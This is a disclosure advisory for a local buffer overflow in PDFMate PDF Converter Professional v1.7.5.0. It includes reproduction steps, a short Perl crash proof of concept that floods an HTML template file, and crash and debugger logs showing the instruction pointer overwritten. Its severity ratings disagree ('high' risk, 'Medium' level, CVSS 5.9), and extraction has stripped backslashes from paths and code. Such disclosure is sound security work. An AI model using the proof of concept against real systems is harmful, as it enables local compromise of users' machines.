Document Title: =============== PDFMate PDF Converter Pro - Buffer Overflow References (Source): ==================== Release Date: ============= 2017-01-30 Vulnerability Laboratory ID (VL-ID): ==================================== 2029 Common Vulnerability Scoring System: ==================================== 5.9 Product & Service Introduction: =============================== PDFMate PDF Converter Professional is a comprehensive PDF conversion application. It can also be used as PDF splitter and PDF Merger. PDFMate PDF Converter is easy to use with simple and clear program interface. ( Copy of the Vendor Homepage: ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a local buffer overflow vulnerability in the PDFMate PDF Converter Professional v1.7.5.0 software. Vulnerability Disclosure Timeline: ================================== 2017-01-30: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== PDFMate Product: PDF Converter Pro & Free - Software Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local buffer overflow vulnerability has been discovered in the official PDFMate PDF Converter Professional v1.7.5.0 software. The local vulnerability allows local attackers to overwrite the registers to compromise the local software system process. The `Convert_Pro.dll` file in the `C:Program FilesAnvsoftPDFMate PDF Converter Professional` path is vulnerable to a local buffer overflow. In case of a `html` file convert the `convert_pro` dynamic link library is used to create the file in the last instance with the already set conditions. Local attackers with restricted system privileges are able to include large unicode strings to the html template files of the `htmltemplate` folder. Local attackers are finally able to exploit the process by an overwrite of the registers to gain higher system access privileges. The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 5.9. Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in process manipulation or compromise of the affected computer system. Vulnerable Module(s): [+] Convert_Pro.dll Proof of Concept (PoC): ======================= The vulnerability can be exploited by local attackers without user interaction and with low system user account. For security demonstration or to reproduce the issue follow the provided information and steps below to continue. Manual steps to reproduce ... 1. Install the software 2. Move into the htmltemplate path 3. Modify the index.html main template file that is used to generate the html file of a pdf 4. Include a large unicode payload inside of the file header and save 5. Start the software (PDFMatePro.exe) 6. Add a random pdf file and choose at buttom the html function 7. Click the convert button 8. The software process crashs because of the processing the large unicode payload via Convert_Pro.dll 9. Successful reproduce of the local buffer overflow vulnerability! PoC: Exploitation #!/usr/bin/perl my $Buff = "x41" x 4141; open(MYFILE,'>>index.html'); print MYFILE $Buff; close(MYFILE); print "Replace Index Template File"; PoC: Vulnerable Source (Template File) [LARGE UNICODE PAYLOAD AAAAAAAAAA...+] <body> <p>This page includes frames, and your browser does not work with it.</p> </body> Note: Do not modify the file content outside the title content because of the template is checked by the software and is required to run functional. --- System Error Event Logs --- EventType=BEX EventTime=131292452808589892 ReportType=2 Consent=1 UploadTime=131292452809373704 ReportIdentifier=88fcfb1a-ddbd-11e6-8a7d-ebe9983f0e19 IntegratorReportIdentifier=735fd6bc-fef1-43ea-ae50-011d10d60eff WOW64=1 NsAppName=PDFMatePro.exe AppSessionGuid=00001598-0004-005a-0581-d452c971d201 TargetAppId=W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!PDFMatePro.exe TargetAppVer=2015//03//06:06:34:59!7b77cc!PDFMatePro.exe BootId=4294967295 Response.BucketId=046d5833e2cfeab779378428212916e8 Response.BucketTable=1 Response.LegacyBucketId=108693211846 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=PDFMatePro.exe Sig[1].Name=Anwendungsversion Sig[1].Value= Sig[2].Name=Anwendungszeitstempel Sig[2].Value=54f94a93 Sig[3].Name=Fehlermodulname Sig[3].Value=Convert_Pro.dll Sig[4].Name=Fehlermodulversion Sig[4].Value= Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=41414141 Sig[6].Name=Ausnahmecode Sig[6].Value=c0000005 Sig[7].Name=Ausnahmeoffset Sig[7].Value=0003747b DynamicSig[1].Name=Betriebsystemversion DynamicSig[1].Value=10.0.14393. DynamicSig[2].Name=Gebietsschema-ID DynamicSig[2].Value=1031 DynamicSig[22].Name=Zusatzinformation 1 DynamicSig[22].Value=2beb DynamicSig[23].Name=Zusatzinformation 2 DynamicSig[23].Value=2beba6fb4680d73a8c78ca7c24ccdb46 DynamicSig[24].Name=Zusatzinformation 3 DynamicSig[24].Value=1055 DynamicSig[25].Name=Zusatzinformation 4 DynamicSig[25].Value=10551cc64bcfba7d2297b81a9c0092f2 UI[2]=C:Program Files (x86)AnvsoftPDFMate PDF Converter ProfessionalPDFMatePro.exe UI[3]=PDFMate PDF Converter Professional funktioniert nicht mehr UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten. UI[5]=Online nach einer Lösung suchen und das Programm neu starten UI[6]=Später online nach einer Lösung suchen und das Programm schließen UI[7]=Programm schließen ... ... State[0].Key=Transport.DoneStage1 State[0].Value=1 FriendlyEventName=Nicht mehr funktionsfähig ConsentKey=APPCRASH AppName=PDFMate PDF Converter Professional AppPath=C:Program Files (x86)AnvsoftPDFMate PDF Converter ProfessionalPDFMatePro.exe ApplicationIdentity=C9B25CD652BEC246D013BC2528E51FBA MetadataHash=1654607508 -- Exception Debug Logs --- Convert_Pro!HtmlBook::BuildIndex+762b 41414141 8b10 mov edx,dword ptr [eax] - ExceptionAddress: 41414141 (Convert_Pro!HtmlBook::BuildIndex+0x000000000000762b) ExceptionCode: c0000005 (Access violation) NumberParameters: 2 Parameter[0]: 0000000000823502 Parameter[1]: 0000000000650072 Attempt to read from address 0000000000650072 - eax=00650072 ebx=0767efbc ecx=07830990 edx=6fc6c278 esi=0767e998 edi=07830990 eip=41414141 esp=0767a884 ebp=41414141 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 Convert_Pro!HtmlBook::BuildIndex+0x762b: 41414141 8b10 mov edx,dword ptr [eax] ds:002b:00650072=???????? Security Risk: ============== The security risk of the local buffer overflow vulnerability in the software is estimated as high. (CVSS 5.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. 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